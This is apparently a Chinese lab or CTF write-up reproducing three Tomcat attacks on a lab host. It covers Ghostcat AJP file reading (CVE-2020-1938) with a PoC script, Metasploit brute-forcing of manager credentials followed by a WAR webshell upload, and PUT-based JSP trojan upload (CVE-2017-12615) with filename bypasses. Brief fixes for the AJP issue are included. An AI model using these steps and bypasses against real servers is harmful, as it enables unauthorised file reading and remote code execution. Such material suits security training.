CVE-2020-1938
Tomcat默认开启AJP服务(8009端口),存在一处文件包含缺陷。攻击者可以通过构造的恶意请求包来进行文件包含操作,从而读取或包含Tomcat上所有webapp目录下的任意文件,如:webapp配置文件或源代码等。
tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip。
1.使用nmap对靶机进行扫描,查看8009端口是否处于开放状态:
nmap -sS -p 1-65535 -v 192.168.225.139
2.从Github克隆POC脚本到本地kali:
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.git
3.尝试读取靶机上Tomcat服务器的/usr/local/tomcat/webapps/ROOT/WEB-INF文件:
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.225.139 -p 8009 -f WEB-INF/web.xml
4.返回Ubuntu靶机,进入Docker容器,查看相应的文件是否与Kali攻击机获取到的一致:
首先查容器id:docker ps
进入容器的shell:
sudo docker exec -it df599 /bin/bash
查看web.xml文件,与远程读取的一致,成功复现CVE-2020-1938 漏洞,利用文件包含漏洞进阶获得RCE,因为WEB-INF下都是服务器端的源代码和配置文件,web.xml这个文件是不应该被访问的:
Ps:关于漏洞修复
1.临时禁用AJP协议8009端口,在conf/server.xml配置文件中注释掉<Connector port="8009" protocol="AJP/1.3"redirectPort="8443" />;
2.配置ajp配置中的secretRequired跟secret属性来限制认证;
Tomcat8+弱口令&&后台getshell漏洞
漏洞成因:
Tomcat manager登录界面存在弱口令漏洞,登录成功后有上传点,压缩包xxx.war的.war不会被解析,直接访问xxx/里面的一句话路径,可直接拿到shell
漏洞如何利用:
msfconsole中弱口令**,**成功后登录;
找到上传点,上传带有一句话jsp文件的名为xxx.war的包;
访问 攻击ip地址/xxx/jsp文件路径,再用webshell连接工具进行连接。
1.msfconsole爆破弱口令
msfconsole->search tomcat->use auxiliary/scanner/http/tomcat_mgr_login->show options->set rhosts 192.168.225.139->run
爆破出tomcat的账户密码:tomcat,tomcat
2.访问靶机8080端口,登录管理员界面:
登录后找到上传点,上传war包:
如何制作war包:jar cvf aaa.war shell.jsp(也可以直接压缩成zip,改后缀名为war)
3.冰蝎连接:http://192.168.225.139:8080/aaa/shell.jsp
CVE_2017_12615
漏洞原理:
在web.xm文件中Tomcat设置了写权限(readonly=false),导致我们可以用PUT方法向服务器写入文件。虽然tomcat会在一定情况下检查文件的后缀,但是我们可以根据不同的环境来进行bypass
1.打开网页,首先想要尝试登录管理员界面,发现受到限制无法登录。所以判断不是这个漏洞,tomcat还存在put任意文件上传的漏洞。
2.burp抓包,修改get请求为put请求,新增jsp木马,增加:
Content-Type:application/x-www-form-urlencoded
Upgrade-Insecure-Requests:1
Content-Length:433 (这个数字是木马的长度)
4.成功之后会返回204,注意:1.jsp+/后面要有/,主要是为了绕过文件上传限制:
Windows下不允许文件以空格结尾
1)以PUT /x.jsp%20 HTTP/1.1上传到windows会被自动去掉末尾空格;
2)WindowsNTFS流PUT /x.jsp::$DATA HTTP/1.1/在文件名中是非法的,也会被去除(Linux/Windows)
4.直接访问写入的1.jsp
5.找flag,根据经验在webapps下面,慢慢找吧。